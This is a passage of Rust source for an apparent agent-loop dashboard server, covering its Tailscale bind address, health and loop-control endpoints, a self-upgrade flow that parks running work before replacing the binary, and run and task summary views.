1663 mut lease: Option<&mut updater::LeaseGuard>,
1664) {
1665 let live = lock_or_recover(state).live.take();
1666 let Some(live) = live else {
1667 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1668 return;
1669 };
1670 live.stop.stop();
1671 lock_or_recover(state).rev += 1;
1672 updater::log_step(
1673 home,
1674 "finish_loop: waiting for the loop to finish the run in flight",
1675 );
1676 let waited = std::time::Instant::now();
1677 let mut handle = live.handle;
1680 let mut beat = tokio::time::interval(LEASE_BEAT);
1681 loop {
1682 tokio::select! {
1683 _ = &mut handle => break,
1684 _ = beat.tick() => {
1685 if let Some(lease) = lease.as_deref_mut() {
1686 lease.beat();
1687 }
1688 }
1689 }
1690 }
1691 updater::log_step(
1692 home,
1693 &format!(
1694 "finish_loop: the loop ended after {:.1}s",
1695 waited.elapsed().as_secs_f32()
1696 ),
1697 );
1698}
1699
1700pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1706 match bind {
1707 Bind::Addr(addr) => (*addr, None),
1708 Bind::Auto => match tailscale_ip() {
1709 Ok(ip) => (IpAddr::V4(ip), None),
1710 Err(why) => (
1711 IpAddr::V4(Ipv4Addr::LOCALHOST),
1712 Some(format!(
1713 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1714 local-only and a phone cannot reach it; start Tailscale \
1715 or pass --bind <addr>"
1716 )),
1717 ),
1718 },
1719 }
1720}
1721
1722fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1730 let out = std::process::Command::new("tailscale")
1731 .args(["ip", "-4"])
1732 .quiet()
1733 .output()
1734 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1735 if !out.status.success() {
1736 let why = String::from_utf8_lossy(&out.stderr);
1737 let why = why.trim();
1738 return Err(format!(
1739 "`tailscale ip -4` failed ({}){}",
1740 out.status,
1741 if why.is_empty() {
1742 String::new()
1743 } else {
1744 format!(": {why}")
1745 }
1746 ));
1747 }
1748 String::from_utf8_lossy(&out.stdout)
1749 .lines()
1750 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1751 .find(is_tailnet)
1752 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1753}
1754
1755fn is_tailnet(ip: &Ipv4Addr) -> bool {
1757 let o = ip.octets();
1758 o[0] == 100 && (64..=127).contains(&o[1])
1759}
1760
1761type ApiResult<T> = std::result::Result<T, ApiError>;
1765
1766#[derive(Debug)]
1768struct ApiError {
1769 status: StatusCode,
1770 message: String,
1771}
1772
1773impl ApiError {
1774 fn bad_request(message: impl Into<String>) -> Self {
1776 Self {
1777 status: StatusCode::BAD_REQUEST,
1778 message: message.into(),
1779 }
1780 }
1781
1782 fn not_found(message: impl Into<String>) -> Self {
1784 Self {
1785 status: StatusCode::NOT_FOUND,
1786 message: message.into(),
1787 }
1788 }
1789
1790 fn with_status(mut self, status: StatusCode) -> Self {
1793 self.status = status;
1794 self
1795 }
1796
1797 fn bad_request_from(e: anyhow::Error) -> Self {
1801 Self::bad_request(format!("{e:#}"))
1802 }
1803
1804 fn conflict(message: impl Into<String>) -> Self {
1805 Self {
1806 status: StatusCode::CONFLICT,
1807 message: message.into(),
1808 }
1809 }
1810
1811 fn internal(message: impl Into<String>) -> Self {
1813 Self {
1814 status: StatusCode::INTERNAL_SERVER_ERROR,
1815 message: message.into(),
1816 }
1817 }
1818}
1819
1820impl From<anyhow::Error> for ApiError {
1821 fn from(e: anyhow::Error) -> Self {
1826 Self::internal(format!("{e:#}"))
1827 }
1828}
1829
1830impl IntoResponse for ApiError {
1831 fn into_response(self) -> Response {
1832 let body = serde_json::json!({ "error": self.message });
1833 (self.status, Json(body)).into_response()
1834 }
1835}
1836
1837async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1846where
1847 T: Send + 'static,
1848{
1849 #[cfg(test)]
1850 let job = request_cost::carry(job);
1851 match tokio::task::spawn_blocking(job).await {
1852 Ok(result) => result,
1853 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1854 }
1855}
1856
1857const ASSET_CACHE: &str = "no-cache, must-revalidate";
1875
1876fn asset_etag() -> &'static str {
1883 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1884 format!(
1885 "\"{}-{}\"",
1886 env!("CARGO_PKG_VERSION"),
1887 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1892 )
1893 });
1894 &TAG
1895}
1896
1897fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1899 [
1900 (header::CONTENT_TYPE, mime),
1901 (header::CACHE_CONTROL, ASSET_CACHE),
1902 (header::ETAG, asset_etag()),
1903 ]
1904}
1905
1906fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1914 let tag = asset_etag();
1915 let known = headers
1916 .get(header::IF_NONE_MATCH)
1917 .and_then(|v| v.to_str().ok())
1918 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1922 if known {
1923 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1924 }
1925 (asset_headers(mime), body).into_response()
1926}
1927
1928async fn index(headers: header::HeaderMap) -> Response {
1929 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1930}
1931
1932async fn app_css(headers: header::HeaderMap) -> Response {
1933 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1934}
1935
1936async fn app_js(headers: header::HeaderMap) -> Response {
1937 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1938}
1939
1940#[derive(Debug, Serialize)]
1942struct HealthView {
1943 version: &'static str,
1944 home: String,
1945 queue_rev: u64,
1946 runs_rev: u64,
1947 questions_rev: u64,
1959 talks_rev: u64,
1961 notifications_rev: u64,
1963 notifications_unread: usize,
1966 loop_rev: u64,
1971 runs_unreadable: usize,
1979 disk: DiskView,
1987 questions_open: usize,
1993 questions_needs_owner: usize,
2003 daemon: DaemonView,
2004 #[serde(rename = "loop")]
2010 looping: LoopView,
2011 update: UpdateView,
2018 upgrade: Option<UpgradeProgressView>,
2022}
2023
2024#[derive(Debug, Serialize)]
2031struct UpdateView {
2032 available: bool,
2034 to: Option<String>,
2036}
2037
2038#[derive(Debug, Serialize)]
2040struct UpgradeProgressView {
2041 stage: updater::Stage,
2042 from: String,
2043 to: Option<String>,
2044 waiting_on: Option<String>,
2047 started_at: Timestamp,
2048 updated_at: Timestamp,
2049 detail: Option<String>,
2050 stuck_for_secs: Option<i64>,
2053 stuck_kind: Option<updater::StallKind>,
2056 handover_alive: bool,
2059}
2060
2061fn should_spawn_recheck(cfg: &Update) -> bool {
2068 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2069}
2070
2071fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2083 if progress.is_some_and(|p| !p.stage.terminal()) {
2084 return false;
2085 }
2086 checker.should_check()
2087}
2088
2089fn recheck_poll_period(cfg: &Update) -> Duration {
2102 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2103}
2104
2105async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2129 loop {
2130 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2131 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2132 if !should_spawn_recheck(&cfg.update) {
2133 continue;
2134 }
2135 let Some(checker) = updater::Checker::new(&cfg.update) else {
2136 continue;
2137 };
2138 let progress = updater::read_progress(&home);
2139 if !update_recheck_due(&checker, progress.as_ref()) {
2140 continue;
2141 }
2142 if let Err(e) = checker.newer_release().await {
2143 tracing::warn!("background update recheck failed: {e:#}");
2144 }
2145 }
2146}
2147
2148fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2154 let default;
2155 let cfg = match cfg {
2156 Some(cfg) => cfg,
2157 None => {
2158 default = Config::default();
2159 &default
2160 }
2161 };
2162 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2163 match latest {
2164 Some(latest) => UpdateView {
2165 available: true,
2166 to: Some(latest.tag_name),
2167 },
2168 None => UpdateView {
2169 available: false,
2170 to: None,
2171 },
2172 }
2173}
2174
2175fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2181 let now = Timestamp::now();
2182 let lease = updater::read_lease(&ui.home);
2183 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2184 let run_id = alive
2185 .and_then(|l| l.parked_run.as_deref())
2186 .or(progress.parked_run.as_deref());
2187 let parking = progress.stage == updater::Stage::Parking;
2188 let waited = alive.map_or_else(String::new, |l| {
2189 let secs = updater::waited_secs(l, now);
2190 format!(" (waited {} min so far)", secs / 60)
2191 });
2192 let run_text = run_id
2193 .filter(|_| parking)
2194 .map(|id| match read_run(&ui.runs, id).ok() {
2195 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2196 None => format!("run {id} is finishing"),
2197 });
2198 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2199 .filter(|t| parking && !t.is_empty())
2200 .map(|t| format!("{t} finishing"));
2201 let waiting_on = match (run_text, talks_text) {
2202 (None, None) => None,
2203 (run, talks) => {
2204 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2205 Some(format!(
2206 "{} before the address is handed over{waited}",
2207 parts.join(" and ")
2208 ))
2209 }
2210 };
2211 let detail = progress
2212 .detail
2213 .clone()
2214 .or_else(|| updater::read_note(&ui.home, &progress));
2215 let stalled = updater::stall(&progress, lease.as_ref(), now);
2216 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2217 UpgradeProgressView {
2218 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2219 stuck_kind: stalled.map(|s| s.kind),
2220 handover_alive: alive.is_some(),
2221 stage: progress.stage,
2222 from: progress.from,
2223 to: progress.to,
2224 waiting_on,
2225 started_at: progress.started_at,
2226 updated_at: progress.updated_at,
2227 detail,
2228 }
2229}
2230
2231#[derive(Debug, Serialize)]
2236struct DiskView {
2237 #[serde(skip_serializing_if = "Option::is_none")]
2239 free_bytes: Option<u64>,
2240 runs_bytes: u64,
2242 worktrees_bytes: u64,
2244 #[serde(skip_serializing_if = "Option::is_none")]
2246 cache_bytes: Option<u64>,
2247}
2248
2249impl DiskView {
2250 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2252 let cache_bytes = cfg
2253 .and_then(|cfg| cfg.cache_dir())
2254 .map(|dir| crate::disk::dir_size(&dir));
2255 Self {
2256 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2257 runs_bytes: crate::disk::dir_size(&ui.runs),
2258 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2259 cache_bytes,
2260 }
2261 }
2262}
2263
2264#[derive(Debug, Serialize)]
2266struct DaemonView {
2267 running: bool,
2268 idle: Option<bool>,
2269 pid: Option<u32>,
2270 current: Vec<daemon::Current>,
2274 completed: Option<u64>,
2275 stale_for_secs: Option<i64>,
2276}
2277
2278impl DaemonView {
2279 fn of(status: Option<daemon::Reading>) -> Self {
2283 let Some(status) = status else {
2284 return Self {
2285 running: false,
2286 idle: None,
2287 pid: None,
2288 current: Vec::new(),
2289 completed: None,
2290 stale_for_secs: None,
2291 };
2292 };
2293 let now = Timestamp::now();
2294 let age = status.age_secs(now);
2295 Self {
2296 running: status.running(now),
2297 idle: Some(status.idle),
2298 pid: status.pid,
2299 current: status.current,
2300 completed: Some(status.completed),
2301 stale_for_secs: age,
2302 }
2303 }
2304}
2305
2306async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2307 blocking(move || {
2308 let reading = daemon::read_status(&ui.home);
2312 let loop_rev = ui.lock_loop().rev;
2316 let cfg = deputy_config(&ui.repo);
2319 let update = cached_update_view(cfg.as_ref());
2320 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2321 Ok(Json(HealthView {
2322 version: env!("CARGO_PKG_VERSION"),
2323 home: ui.home.display().to_string(),
2324 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2325 runs_rev: runs_revision(&ui.runs),
2326 questions_rev: ui.questions.revision(),
2327 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2328 notifications_rev: ui.notices.revision(),
2329 notifications_unread: ui.notices.count_unread(),
2330 loop_rev,
2331 runs_unreadable: runs_unreadable(&ui.runs),
2332 questions_open: ui.questions.count_open(),
2333 questions_needs_owner: ui.questions.count_needs_owner(),
2334 daemon: DaemonView::of(reading.clone()),
2335 looping: ui.loop_view(reading),
2336 disk: DiskView::of(&ui, cfg.as_ref()),
2337 update,
2338 upgrade,
2339 }))
2340 })
2341 .await
2342}
2343
2344#[derive(Debug, Serialize)]
2346struct LoopView {
2347 running: bool,
2349 stopping: bool,
2357 parking: bool,
2365 owned: bool,
2373 repo: String,
2376 merge: Option<String>,
2379 last_error: Option<String>,
2387 daemon: DaemonView,
2390}
2391
2392#[derive(Debug, Clone, Copy)]
2401struct Foreign {
2402 pid: Option<u32>,
2404}
2405
2406impl Foreign {
2407 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2410 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2414 }
2415
2416 fn who(&self) -> String {
2419 match self.pid {
2420 Some(pid) => format!("another magi process (pid {pid})"),
2421 None => "another magi process".to_owned(),
2422 }
2423 }
2424}
2425
2426type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2431
2432fn launch_daemon(
2434 opts: daemon::Opts,
2435 stop: daemon::Stop,
2436) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2437 Box::pin(daemon::serve_until(opts, stop))
2438}
2439
2440#[derive(Debug, Default)]
2442struct LoopState {
2443 live: Option<Live>,
2445 rev: u64,
2453 last_error: Option<String>,
2456 resume_after_handover: bool,
2461}
2462
2463#[derive(Debug)]
2465struct Live {
2466 stop: daemon::Stop,
2468 handle: tokio::task::JoinHandle<()>,
2473 opts: daemon::Opts,
2477}
2478
2479impl Live {
2480 fn alive(&self) -> bool {
2482 !self.handle.is_finished()
2483 }
2484}
2485
2486fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2493 state.lock().unwrap_or_else(PoisonError::into_inner)
2494}
2495
2496async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2498 blocking(move || {
2499 let reading = daemon::read_status(&ui.home);
2500 Ok(Json(ui.loop_view(reading)))
2501 })
2502 .await
2503}
2504
2505#[derive(Debug, Deserialize)]
2511#[serde(deny_unknown_fields)]
2512struct LoopCommand {
2513 running: bool,
2514 #[serde(default)]
2524 park: bool,
2525}
2526
2527async fn loop_post(
2535 State(ui): State<Arc<Ui>>,
2536 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2537) -> ApiResult<Json<LoopView>> {
2538 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2541 blocking(move || {
2542 let reading = daemon::read_status(&ui.home);
2543 let foreign = Foreign::of(reading.as_ref());
2544 if body.running {
2545 ui.start_loop(foreign)?;
2546 } else {
2547 ui.stop_loop(foreign, body.park)?;
2548 }
2549 Ok(Json(ui.loop_view(reading)))
2550 })
2551 .await
2552}
2553
2554#[derive(Debug, Serialize)]
2556struct UpgradeView {
2557 from: String,
2559 to: Option<String>,
2561 parked: Option<String>,
2563 detail: String,
2565}
2566
2567fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2570 progress.filter(|p| !p.stage.terminal())
2571}
2572
2573async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2597 let reading = daemon::read_status(&ui.home);
2598 if let Some(other) = Foreign::of(reading.as_ref()) {
2599 return Err(ApiError::conflict(format!(
2600 "the loop belongs to {}, so replacing this binary would leave \
2601 that process running an old one against the same queue. Upgrade \
2602 where it was started.",
2603 other.who()
2604 )));
2605 }
2606
2607 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2612 return Err(ApiError::conflict(
2613 "another request is already preparing an upgrade",
2614 ));
2615 };
2616 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2617 return Err(ApiError::conflict(
2618 "an upgrade is already in progress (this process started one and it \
2619 has not finished or failed yet)",
2620 ));
2621 }
2622 let recorded = updater::read_progress(&ui.home);
2623 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2624 return Err(ApiError::conflict(format!(
2625 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2626 stays stuck, restart the deck; on start it settles a stale record.",
2627 p.stage.as_str(),
2628 p.from,
2629 p.to.as_deref().unwrap_or("?"),
2630 )));
2631 }
2632
2633 if crate::updater::disabled_by_env() {
2639 return Ok((
2640 StatusCode::OK,
2641 Json(UpgradeView {
2642 from: env!("CARGO_PKG_VERSION").to_owned(),
2643 to: None,
2644 parked: None,
2645 detail: format!(
2646 "Automatic updates are disabled by {}. Nothing was parked \
2647 and nothing restarted.",
2648 crate::updater::NO_AUTOUPDATE_ENV
2649 ),
2650 }),
2651 ));
2652 }
2653
2654 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2659 let from = env!("CARGO_PKG_VERSION").to_owned();
2660 let latest = match crate::updater::Checker::new(&cfg.update) {
2661 Some(checker) => checker
2662 .newer_release()
2663 .await
2664 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2665 None => None,
2666 };
2667 let Some(latest) = latest else {
2668 return Ok((
2669 StatusCode::OK,
2670 Json(UpgradeView {
2671 from,
2672 to: None,
2673 parked: None,
2674 detail: "Already on the newest release. Nothing was parked \
2675 and nothing restarted."
2676 .to_owned(),
2677 }),
2678 ));
2679 };
2680
2681 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2684 let detail = match &parked {
2685 Some(run) => format!(
2690 "Run {} is parking at its next step, which can take as long as \
2691 the step it is on - up to an hour for an implement wave. The \
2692 deck replaces itself once it parks, comes back, and the loop \
2693 carries that run on from where it stopped. Nothing is lost if \
2694 you close this.",
2695 crate::run::short_of(run)
2696 ),
2697 None => "The deck replaces itself and comes back. Nothing was in \
2698 flight to park."
2699 .to_owned(),
2700 };
2701
2702 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2706 progress.parked_run = parked.clone();
2707 updater::write_progress_logged(&ui.home, &progress);
2711
2712 let home = ui.home.clone();
2713 let looping = ui.looping();
2714 ui.upgrade_spawned
2715 .store(true, std::sync::atomic::Ordering::SeqCst);
2716 let spawned = Arc::clone(&ui.upgrade_spawned);
2717 tokio::spawn(async move {
2718 if let Err(e) = upgrade_and_restart(home.clone()).await {
2719 tracing::error!("the upgrade did not complete: {e:#}");
2720 lock_or_recover(&looping).resume_after_handover = false;
2721 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2725 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2728 }
2729 });
2730
2731 Ok((
2732 StatusCode::ACCEPTED,
2733 Json(UpgradeView {
2734 from,
2735 to: Some(latest.tag_name),
2736 parked,
2737 detail,
2738 }),
2739 ))
2740}
2741
2742async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2747 crate::updater::run_self_update(true, false, true).await?;
2750 updater::log_step(&home, "binary replaced - recording the replaced stage");
2751 if let Some(mut progress) = updater::read_progress(&home) {
2752 progress.advance(updater::Stage::Replaced);
2753 updater::write_progress_logged(&home, &progress);
2754 }
2755 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2756 HANDOVER.notify_one();
2757 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2758 Ok(())
2759}
2760
2761#[derive(Debug, Serialize)]
2767struct RunSummary {
2768 id: String,
2769 short: String,
2770 status: String,
2771 done: bool,
2772 instruction: String,
2773 title: String,
2774 repo: String,
2775 repo_name: String,
2776 created_at: String,
2777 updated_at: String,
2778 candidates: usize,
2779 viable: usize,
2780 judges: usize,
2781 winner: Option<char>,
2782 reviews: usize,
2783 quota_losses: usize,
2784 event: Option<String>,
2785 superseded_by: Option<String>,
2790 waiting: bool,
2797 live: crate::run::Liveness,
2801 pr: Option<crate::run::PrRecord>,
2803 unmerged_by_design: bool,
2809 #[serde(default)]
2812 display_status: String,
2813 #[serde(default)]
2816 badge_status: String,
2817 origin_label: String,
2820}
2821
2822impl RunSummary {
2823 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2824 Self {
2825 id: state.id.clone(),
2826 short: state.short().to_owned(),
2827 status: status_word(state.status),
2828 done: state.status.done(),
2829 unmerged_by_design: state.unmerged_by_design(),
2830 display_status: run_display_status(state, waiting, live),
2831 badge_status: run_display_status(state, waiting, live),
2832 instruction: state.instruction.clone(),
2833 title: title_from(&state.instruction, TITLE_MAX),
2834 repo: state.repo.display().to_string(),
2835 repo_name: state
2836 .repo
2837 .file_name()
2838 .map(|n| n.to_string_lossy().into_owned())
2839 .unwrap_or_default(),
2840 created_at: state.created_at.to_string(),
2841 updated_at: state.updated_at.to_string(),
2842 candidates: state.candidates.len(),
2843 viable: state.viable().len(),
2844 judges: state.config.graph.judges,
2845 winner: state.winner().map(|c| c.label),
2846 reviews: state.reviews.len(),
2847 quota_losses: state.quota.len(),
2848 event: state.events.last().map(|e| e.message.clone()),
2849 waiting,
2850 live,
2851 superseded_by: None,
2854 pr: state.pr.clone(),
2855 origin_label: crate::run::origin_label(state.origin.as_ref()),
2856 }
2857 }
2858}
2859
2860fn status_word(status: RunStatus) -> String {
2863 status.as_str().to_owned()
2867}
2868
2869fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2875 if waiting {
2876 return "waiting".to_owned();
2877 }
2878 if state.unmerged_by_design() {
2879 return "unmerged".to_owned();
2880 }
2881 if !state.status.done() && live == crate::run::Liveness::Dead {
2882 if state.parked {
2885 return "parked".to_owned();
2886 }
2887 return "stale".to_owned();
2888 }
2889 status_word(state.status)
2890}
2891
2892fn run_badge_status(
2900 state: &RunState,
2901 display_status: &str,
2902 live: crate::run::Liveness,
2903 superseded: bool,
2904) -> String {
2905 if state.status.done() || live == crate::run::Liveness::Live {
2906 return display_status.to_owned();
2907 }
2908 if superseded {
2909 return "superseded".to_owned();
2910 }
2911 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
2915 return "stale".to_owned();
2916 }
2917 display_status.to_owned()
2918}
2919
2920#[derive(Debug, Deserialize)]
2922struct ListQuery {
2923 #[serde(default)]
2924 limit: Option<usize>,
2925 ids: Option<String>,
2927}
2928
2929impl ListQuery {
2930 fn contains(&self, id: &str) -> bool {
2931 self.ids
2932 .as_ref()
2933 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2934 }
2935}
2936
2937async fn runs_list(
2938 State(ui): State<Arc<Ui>>,
2939 Query(q): Query<ListQuery>,
2940) -> ApiResult<Json<Vec<RunSummary>>> {
2941 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2942 blocking(move || {
2943 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2944 let states = run_ids(&ui.runs)
2945 .into_iter()
2946 .filter_map(|id| read_run(&ui.runs, &id).ok())
2951 .take(limit)
2952 .filter(|run| q.contains(&run.id));
2953 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2954 let summaries = summarize(
2955 states,
2956 &open_runs,
2957 &claimed,
2958 &superseded,
2959 |p| probe.borrow_mut().status(p),
2960 |p| probe.borrow_mut().started_at(p),
2961 );
2962 Ok(Json(summaries))
2963 })
2964 .await
2965}
2966
2967fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2972 let open_runs: HashSet<String> = ui
2973 .questions
2974 .list()
2975 .into_iter()
2976 .filter(|q| q.status.open())
2977 .map(|q| q.run)
2978 .collect();
2979 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2980 .into_iter()
2981 .map(|c| c.run)
2982 .collect();
2983 (open_runs, claimed, ui.queue.superseded())
2984}
2985
2986fn summarize<I, S, D>(
2992 states: I,
2993 open_runs: &HashSet<String>,
2994 claimed: &HashSet<String>,
2995 superseded: &HashMap<String, String>,
2996 mut status_q: S,
2997 mut identity_q: D,
2998) -> Vec<RunSummary>
2999where
3000 I: IntoIterator<Item = RunState>,
3001 S: FnMut(u32) -> Option<bool>,
3002 D: FnMut(u32) -> Option<String>,
3003{
3004 states
3005 .into_iter()
3006 .map(|state| {
3007 let waiting = open_runs.contains(&state.id);
3008 let live =
3009 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3010 let mut row = RunSummary::of(&state, waiting, live);
3011 row.superseded_by = state
3012 .pr_taken_over_by
3013 .as_ref()
3014 .or_else(|| superseded.get(&state.id))
3015 .map(String::as_str)
3016 .map(crate::run::short_of)
3017 .map(str::to_owned);
3018 row.badge_status = run_badge_status(
3019 &state,
3020 &row.display_status,
3021 live,
3022 row.superseded_by.is_some(),
3023 );
3024 row
3025 })
3026 .collect()
3027}
3028
3029#[derive(Debug, Serialize)]
3036struct RunDetailView {
3037 stop_reason: Option<String>,
3038 #[serde(flatten)]
3039 state: RunState,
3040 instruction_md: Vec<md::Node>,
3041 #[serde(flatten)]
3045 prose_md: RunProseMd,
3046 live: crate::run::Liveness,
3061 unmerged_by_design: bool,
3066 #[serde(default)]
3068 waiting: bool,
3069 #[serde(default)]
3071 display_status: String,
3072 #[serde(default)]
3074 badge_status: String,
3075 done: bool,
3080 superseded_by: Option<String>,
3088 latest_attempt: Option<LatestAttempt>,
3102 task: Option<TaskRef>,
3105 origin_label: String,
3109 pass_views: Vec<PassView>,
3112}
3113
3114#[derive(Debug, Serialize)]
3116struct TaskRef {
3117 id: String,
3118 short: String,
3119 title: String,
3120 source_label: String,
3122 source_link: Option<SourceLink>,
3124 status: &'static str,
3126 attempts: usize,
3127 max_attempts: usize,
3128 is_latest: bool,
3130 latest: Option<RunBrief>,
3132 finished_by: Option<RunBrief>,
3134 closed_by_hand: bool,
3136}
3137
3138#[derive(Debug, PartialEq, Eq, Serialize)]
3140struct SourceLink {
3141 kind: &'static str,
3143 id: String,
3145 href: String,
3147}
3148
3149fn encode_segment(raw: &str) -> String {
3151 let mut out = String::with_capacity(raw.len());
3152 for b in raw.bytes() {
3153 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3154 out.push(b as char);
3155 } else {
3156 out.push_str(&format!("%{b:02X}"));
3157 }
3158 }
3159 out
3160}
3161
3162fn source_link(source: &Source) -> Option<SourceLink> {
3166 let Source::Agent { run, node } = source else {
3167 return None;
3168 };
3169 let (kind, route) = if node == crate::queue::CHAT_NODE {
3170 ("chat", "chat")
3171 } else {
3172 ("run", "runs")
3173 };
3174 Some(SourceLink {
3175 kind,
3176 id: run.clone(),
3177 href: format!("#/{route}/{}", encode_segment(run)),
3178 })
3179}
3180
3181#[derive(Debug, Serialize, PartialEq)]
3183struct FollowUpParent {
3184 id: String,
3185 short: String,
3186 title: String,
3187 status: &'static str,
3189 href: String,
3190}
3191
3192#[derive(Debug, Serialize, PartialEq)]
3194struct FollowUpRun {
3195 id: String,
3196 short: String,
3197 status: Option<&'static str>,
3199 href: Option<String>,
3201}
3202
3203#[derive(Debug, Serialize, PartialEq)]
3206struct FollowUpOrigin {
3207 parent: Option<FollowUpParent>,
3209 run: FollowUpRun,
3210 pr: String,
3215 findings: Vec<String>,
3216 generation: u32,
3217}
3218
3219fn followup_origin(
3222 fu: &crate::queue::FollowUp,
3223 task: impl Fn(&str) -> Option<Task>,
3224 run: impl Fn(&str) -> Option<RunState>,
3225) -> FollowUpOrigin {
3226 let parent = fu
3227 .origin_task
3228 .as_deref()
3229 .and_then(task)
3230 .map(|t| FollowUpParent {
3231 short: t.short().to_owned(),
3232 href: format!("#/tasks/{}", encode_segment(&t.id)),
3233 status: t.status.as_str(),
3234 title: t.title,
3235 id: t.id,
3236 });
3237 let state = run(&fu.run);
3238 FollowUpOrigin {
3239 parent,
3240 run: FollowUpRun {
3241 short: run::short_of(&fu.run).to_owned(),
3242 status: state.as_ref().map(|s| s.status.as_str()),
3243 href: state
3244 .is_some()
3245 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3246 id: fu.run.clone(),
3247 },
3248 pr: fu.pr.clone(),
3249 findings: fu.findings.clone(),
3250 generation: fu.generation,
3251 }
3252}
3253
3254#[derive(Debug, Serialize)]
3256struct RunBrief {
3257 id: String,
3258 short: String,
3259 status: Option<&'static str>,
3261 outcome: String,
3263 badge: Option<String>,
3265}
3266
3267fn task_outcome(
3270 task: &Task,
3271 this_run: &str,
3272 max_attempts: usize,
3273 read: impl Fn(&str) -> Option<RunState>,
3274) -> TaskRef {
3275 let max_attempts = task.effective_attempt_limit(max_attempts);
3276 let history = task_history(task, read);
3277 let brief = |h: &TaskRunView| RunBrief {
3278 id: h.id.clone(),
3279 short: h.short.clone(),
3280 status: h.status,
3281 outcome: h.exit.edge_label(h.status),
3282 badge: h.badge.clone(),
3283 };
3284 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3285 let latest = if is_latest {
3286 None
3287 } else {
3288 history.last().map(brief)
3289 };
3290 let done = task.status == TaskStatus::Done;
3291 let finished_by = done
3292 .then(|| {
3293 history
3294 .iter()
3295 .rev()
3296 .find(|h| {
3297 matches!(
3298 h.exit,
3299 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3300 )
3301 })
3302 .map(brief)
3303 })
3304 .flatten();
